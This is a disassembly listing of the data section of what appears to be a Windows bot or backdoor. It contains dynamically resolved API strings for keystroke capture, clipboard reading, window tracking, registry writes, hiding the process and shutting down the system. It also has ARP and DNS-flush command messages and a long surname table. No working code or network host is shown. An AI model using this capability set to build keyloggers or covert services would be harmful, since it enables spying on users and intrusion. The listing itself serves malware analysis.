aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409A1D+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409A1D+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409A1D+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409A1D:loc_409C7Co
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409A1D+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409A1D+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409A1D+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A1D:loc_409C15o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409A1D+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409A1D+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409A1D+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409A1D+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409A1D+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409A1D+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409A1D+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409A1D+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409A1D:loc_409B52o
; sub_4256B1+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A1D:loc_409B25o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A1D+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A1D+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409A1D+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409A1D+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A1D+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A1D+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409A1D+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409A1D+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409A1D+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A1D+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409A1D+23o
align 4
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_409A1D+Ao
align 4
unk_42E9CC db 2Dh ; - ; DATA XREF: sub_40A6D9+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+1FCo
align 10h
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+28o
align 4
a_: ; DATA XREF: sub_40D86F+13o
; sub_4101B7+24Co
unicode 0, <.>,0
unk_42EB5C db 2Dh ; - ; DATA XREF: sub_40AA3C:loc_40AB0Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42EB8C db 2Dh ; - ; DATA XREF: sub_40AA3C:loc_40AADBo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42EBBC db 2Dh ; - ; DATA XREF: sub_40AA3C:loc_40AA91o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 10h
unk_42EBE0 db 2Dh ; - ; DATA XREF: sub_40AA3C+45o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AB14+46o
; sub_40BE71+38o ...
aReal db 'real',0 ; DATA XREF: sub_40AF23+Fr
align 10h
dd 0
dword_42EC24 dd 0 off_42EC28 dd offset sub_40ABBD ; DATA XREF: sub_40AF23+4Ar
aConst db 'const',0
align 8
dd 1, 40AC29h, 7474656Ch, 7265h, 0
dd 2, 40AC87h, 706D6F63h, 2 dup(0)
dd 3, 40ACD4h, 6E756F63h, 797274h, 0
dd 4, 40AD43h, 736Fh, 2 dup(0)
dd 5, 40ADB8h
off_42EC90 dd offset aAbdulrazak ; DATA XREF: sub_40ABBD+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
dd offset aAddison ; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
